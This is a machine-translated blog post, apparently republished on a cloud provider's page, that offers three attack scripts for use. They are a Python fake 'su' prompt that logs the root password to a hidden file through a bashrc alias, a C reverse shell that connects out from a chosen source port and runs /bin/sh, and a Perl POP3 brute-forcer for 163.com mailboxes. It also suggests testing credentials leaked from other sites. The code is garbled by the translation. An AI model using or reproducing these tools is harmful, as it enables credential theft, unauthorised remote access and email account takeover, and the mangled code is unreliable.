Short and practical Python script for penetration

Source: Internet
Author: User
Tags htons

During the Penetration Process, the tool found is not applicable, and the Code itself is king. The three programs below are suitable tools that cannot be found on the network during penetration. They are short and practical.

1. Record the root password Tool

Root. py

 
 
  1. #! /Usr/bin/python
  2. Import OS, sys, getpass, time
  3. Current_time = time. strftime ("% Y-% m-% d % H: % M ")
  4. Logfile = "/dev/shm/. su. log" // The password is recorded here.
  5. # CentOS
  6. # Fail_str = "su: incorrect password"
  7. # Ubuntu
  8. # Fail_str = "su: Authentication failure"
  9. # For Linux Korea // For centos, ubuntu, and korea, the failure prompt For switching the root user is different
  10. Fail_str = "su: incorrect password"
  11. Try:
  12. Passwd = getpass. getpass (prompt = 'password :');
  13. File = open (logfile, 'A ')
  14. File. write ("[% s] t % s" % (passwd, current_time) // intercept the root password
  15. File. write ('n ')
  16. File. close ()
  17. Except t:
  18. Pass
  19. Time. sleep (1)
  20. Print fail_str // print the error message that the root switch fails.

When the system passes through linux to obtain low permissions and fails to raise permissions, the program will be uploaded and then stored in the directory of A Low-Permission user. add alias su = '/usr/root to bashrc. py'; the password is successfully recorded after the low-Permission user su root. For the password record path, see the script.

2. Set Source Port bounce shell

Penetration into a linux server, the target port is 888 when the anti-connection fails, or 80 still does not work, Ping Baidu, You can ping. There is only one truth. The abnormal server limits only some ports that have already been used as the source port to connect to the outside.

For example, only access data packets on port 80 can be received and data is returned from the source port 80.

Google's program was fruitless. I checked the relevant api and wrote it.

Client-port.c

 
 
  1. # Include
  2. # Include
  3. # Include
  4. # Include
  5. # Include
  6. Void error (char * msg)
  7. {
  8. Perror (msg );
  9. Exit (0 );
  10. }
  11. Int main (int argc, char * argv [])
  12. {
  13. Int sockfd, portno, lportno, n;
  14. Struct sockaddr_in serv_addr;
  15. Struct sockaddr_in client_addr;
  16. Struct hostent * server;
  17. Char buffer [256];
  18. If (argc <3 ){
  19. Fprintf (stderr, "usage % s hostname port LocalPortn", argv [0]);
  20. Exit (0 );
  21. } // Three parameters: Target host, target host port, and local source port
  22. Portno = atoi (argv [2]);
  23. Sockfd = socket (AF_INET, SOCK_STREAM, 0 );
  24. If (sockfd <0)
  25. Error ("ERROR opening socket ");
  26. Bzero (char *) & client_addr, sizeof (client_addr ));
  27. Lportno = atoi (argv [3]);
  28. Client_addr.sin_family = AF_INET;
  29. Client_addr.sin_addr.s_addr = INADDR_ANY;
  30. Client_addr.sin_port = htons (lportno); // you can specify the source port.
  31. If (bind (sockfd, (struct sockaddr *) & client_addr,
  32. Sizeof (client_addr) <0)
  33. Error ("ERROR on binding ");
  34. Server = gethostbyname (argv [1]);
  35. If (server = NULL ){
  36. Fprintf (stderr, "ERROR, no such host ");
  37. Exit (0 );
  38. }
  39. Bzero (char *) & serv_addr, sizeof (serv_addr ));
  40. Serv_addr.sin_family = AF_INET;
  41. Bcopy (char *) server-> h_addr,
  42. (Char *) & serv_addr.sin_addr.s_addr,
  43. Server-> h_length );
  44. Serv_addr.sin_port = htons (portno );
  45. If (connect (sockfd, & serv_addr, sizeof (serv_addr) <0) // connect
  46. Error ("ERROR connecting ");
  47. Dup2 (fd, 0 );
  48. Dup2 (fd, 1 );
  49. Dup2 (fd, 2 );
  50. Execl ("/bin/sh", "sh-I", NULL); // execute shell
  51. Close (fd );
  52. }

Usage:

 
 
  1. Gcc client-port.c-o port
  2. Chmod + x port
  3. ./Port your IP address your listening port local source port

Such as./port http://www.91ri.org 80 80

Shell Privilege Escalation successful

Iii. Email brute-force script

At some point, a batch of mailboxes need to be cracked.

Burp163.pl

 
 
  1. #! /Usr/bin/perl
  2. Use Net: POP3;
  3. $ Email = "pop.163.com"; // set the pop server address qq to pop.qq.com.
  4. $ Pop = Net: POP3-> new ($ email) or die ("ERROR: Unable to initiate .");
  5. Print $ pop-> banner ();
  6. $ Pop-> quit;
  7. $ I = 0;
  8. Open (fp1, "user.txt ");
  9. @ Array1 = <fp1>;
  10. Open (fp2, "pass.txt ");
  11. @ Array2 = <fp2>; // obtain the email user name and password from the file.
  12. Foreach $ a (@ array1 ){
  13. $ U = substr ($ a, 0, length ($ a)-1 );
  14. $ U = $ u. "@ 163.com ";
  15. Foreach $ B (@ array2 ){
  16. $ P = substr ($ B, 0, length ($ B)-1 );
  17. Print "cracked with". $ u. "-----". $ p. "n ";
  18. $ I = $ I + 1;
  19. $ Pop = Net: POP3-> new ($ email) or die ("ERROR: Unable to initiate .");
  20. $ M = $ pop-> login ($ u, $ p); // try to log on to your mailbox
  21. If ($ m> 0)
  22. {
  23. Print $ u. "------------". $ p. "----". "success". "n ";
  24. $ Pop-> quit;
  25. } // Login successful
  26. Else
  27. {
  28. Print $ u. "------------". $ p. "----". "failed". "n ";
  29. $ Pop-> quit; // Logon Failed
  30. }
  31. }
  32. }
  33. Print $ I;

Use the pop server of the mailbox to be cracked to write the following row. The default value is 163 mailbox.

 
 
  1. $email="pop.163.com"; 

And then remove the mailbox address after @, such as the lusiyu@163.com removed lusiyu stored in

In the same directory user.txt, save the dictionary to pass.txt.

You will say: Is this a little chicken? In case the mailbox password is complex.

Haha.

Get the data of a small station and use this program to batch test whether the password is an email password.

Well, I didn't say anything.

These three procedures are only for technical research. I am not responsible for any illegal activities by readers.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.